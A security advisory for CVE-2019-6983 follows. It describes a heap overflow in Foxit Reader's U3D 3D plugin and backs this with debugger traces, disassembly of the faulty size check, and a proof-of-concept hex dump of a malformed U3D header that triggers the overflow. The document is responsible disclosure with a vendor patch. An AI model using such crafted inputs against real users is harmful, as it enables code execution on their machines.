CVE: CVE-2019-6983

Tested Versions: Foxit Reader 9.1.0.5096, U3DBrowser.fpi 9.1.0.425

Product URL(s): https://www.foxitsoftware.com/pdf-reader/

Foxit Reader is a popular PDF reading and printing software. It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via the U3DBrowser plug-in, which allows viewing embedded 3D annotations in PDF files. Up to version 9.0.1.1049 the plug-in is loaded in its default installation package, subsequent version continues the support to its user base with the plug-in separately acquired.

Any PDF file that embeds certain specially crafted 3D content, specifically, a malformed File Header Block with carefully crafted Data Size and Metadata Size, could result in a classic heap overflow that allows fully controlled content and length overwriting the heap boundary.

0:000> sxe ld U3DBrowser.fpi
0:000> g

StopRequestModLoad: 68bf0000 68dd5000   c:\FoxitReader\plugins\U3DBrowser.fpi
eax=0d33c000 ebx=00000000 ecx=0d262ed4 edx=0d33c000 esi=7ffdf000 edi=00000000
eip=76eba364 esp=001b1fbc ebp=001b2014 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ntdll!KiFastSystemCallRet:
76eba364 c3              ret

0:000> bp !U3DBrowser + 48318 4
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000118 ecx=6a231ef8 edx=6a2c3068 esi=142f2fe0 edi=14309fe4
eip=68c38318 esp=001cd6f4 ebp=001cd72c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
U3DBrowser!PlugInMain+0x3a5d8:

68c38318 ff15d421d768    call    dword ptr [U3DBrowser!PlugInMain+0x174494 (68d721d4)] ds:0023:68d721d4={MSVCR100!fread (6a232c24)}

0:000> ub
U3DBrowser!PlugInMain+0x3a5ca:
68c3830a 751a            jne     U3DBrowser!PlugInMain+0x3a5e6 (68c38326)
68c3830c 8b5614          mov     edx,dword ptr [esi+14h]
68c3830f 53              push    ebx
68c38310 8b5d10          mov     ebx,dword ptr [ebp+10h]
68c38313 52              push    edx		; FILE *fp = 6a2c3068
68c38314 53              push    ebx		; size_t nmemb = 0x118
68c38315 6a01            push    1			; size_t size
68c38317 57              push    edi		; void *ptr = 14309fe4

0:000> dd esp l4
001cd6f4  14309fe4 00000001 00000118 6a2c3068

0:000> p
(4f8.8e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000117 ecx=0000003f edx=00000000 esi=1430701c edi=1430a000
eip=6a211f34 esp=001cd634 ebp=001cd63c iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212
MSVCR100!memcpy+0xb4:
6a211f34 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !heap -p -a 14309fe4 
    address 14309fe4 found in
    _DPH_HEAP_ROOT @ be91000
    in busy allocation (  DPH_HEAP_BLOCK:     UserAddr     UserSize -     VirtAddr     VirtSize)
                                142c1138:     14309fd8           24 -     14309000         2000
    6d2d9fcd verifier!AVrfDebugPageHeapAllocate+0x0000029d
    76f06ff4 ntdll!RtlDebugAllocateHeap+0x00000030
    76ed5a8c ntdll!RtlpAllocateHeap+0x000000c0
    76e8dbbd ntdll!RtlAllocateHeap+0x00000243
    6a220269 MSVCR100!malloc+0x00000036
    6a22233b MSVCR100!operator new+0x00000010
    68c3e81c U3DBrowser!PlugInMain+0x00040adc
    68c3d8ae U3DBrowser!PlugInMain+0x0003fb6e
    68c3c3b4 U3DBrowser!PlugInMain+0x0003e674
    [ ... ]

0:000> dd 14309fd8 L10
14309fd8  00443355 00000018 00000100 00000000
14309fe8  00000000 00000024 000005f8 00000000
14309ff8  0000006a ffffff15 ???????? ????????
1430a008  ???????? ???????? ???????? ????????

The buffer allocated for the U3D File Header Block is computed as of size 0x24 bytes, as the Block Type, Data Size and Metadata Size already occupied 0xC bytes, this fread() call should not read more than 0x18 bytes.

Vulnerability

When processing a carefully crafted PDF with 3D stream containing a malformed U3D File Header Block of type 0x00443355 with the Data Size and Metadata Size adding up beyond 0x1C with their lowest byte, an attacker can potentially achieve arbitrary code execution at the privilege of the logged on user.

Proof-of-Concept

Original File Header Block of type 0x00443355:
00000000: 55 33 44 00 18 00 00 00 00 00 00 00 00 00 00 00  U3D.............
00000010: 00 00 00 00 24 00 00 00 f8 05 00 00 00 00 00 00  ....$...........
00000020: 6a 00 00 00 15 ff ff ff 04 00 00 00 00 00 00 00  j...............

PoC: changing the Metadata Size to 0x100:
00000000: 55 33 44 00 18 00 00 00 00 01 00 00 00 00 00 00  U3D.............
00000010: 00 00 00 00 24 00 00 00 f8 05 00 00 00 00 00 00  ....$...........
00000020: 6a 00 00 00 15 ff ff ff 04 00 00 00 00 00 00 00  j...............

From the earlier debug trace, setting a breakpoint on the offending fread() on the 4th hit, it is clear that an abundant number of 0x118 bytes are to be read into a fixed buffer of 0x18 + 0x4 bytes remaining.

68c38313 52              push    edx		; FILE *fp = 6a2c3068
68c38314 53              push    ebx		; size_t nmemb = 0x118
68c38315 6a01            push    1			; size_t size
68c38317 57              push    edi		; void *ptr = 14309fe4

The vulnerability is triggered by altering the Metadata Size of the U3D File Header Block. The code allocated a buffer of 0x24 bytes for the file header but simply used the supplied data size and metadata size for the fread(), resulting in a classic heap overflow vulnerability with completely controlled content and length for the overwrite. In fact the allocation size 0x24 is computed from the supplied values of data size 0x18 and metadata size 0x100, but from a casting error, only the lowest bytes are used:

.text:1004E7DD                 mov     eax, [ebp+var_4] ; 0x18 - data size
.text:1004E7E0                 mov     ecx, [ebp+var_8] ; 0x100 - metadata size
.text:1004E7E3                 dec     eax
.text:1004E7E4                 and     eax, 0FFFFFFFCh
.text:1004E7E7                 dec     ecx
.text:1004E7E8                 add     eax, 4          ; pad to align
.text:1004E7EB                 and     ecx, 0FFFFFFFCh
.text:1004E7EE                 add     ecx, 4          ; pad to align
.text:1004E7F1                 mov     [ebp+var_4], eax
.text:1004E7F4                 add     al, cl          ; byte treating 0x100 as 0x0
.text:1004E7F6                 add     al, 0Ch
.text:1004E7F8                 movzx   eax, al
.text:1004E7FB                 mov     [ebp+var_8], ecx
.text:1004E7FE                 cmp     eax, 20h        ; validate
.text:1004E801                 jnb     short loc_1004E816
.text:1004E803                 pop     edi
.text:1004E804                 pop     esi
.text:1004E805                 mov     [ebp+arg_0], 80000003h
.text:1004E80C                 mov     eax, [ebp+arg_0]
.text:1004E80F                 pop     ebx
.text:1004E810                 mov     esp, ebp
.text:1004E812                 pop     ebp
.text:1004E813                 retn    8
.text:1004E816 ; -------------------------------------------------------------------
.text:1004E816
.text:1004E816 loc_1004E816:                           ; XREF: sub_1004E6F0+111↑j
.text:1004E816                 push    eax             ; 0x24
.text:1004E817                 call    j_??2@YAPAXI@Z  ; operator new(uint)

Timeline

  • 2018-11-27 Vendor disclosure
  • 2019-01-03 Vendor patched

Vendor Response

The vendor has patched the 3D plugin and acknowledged the security issues at https://www.foxitsoftware.com/support/security-bulletins.php.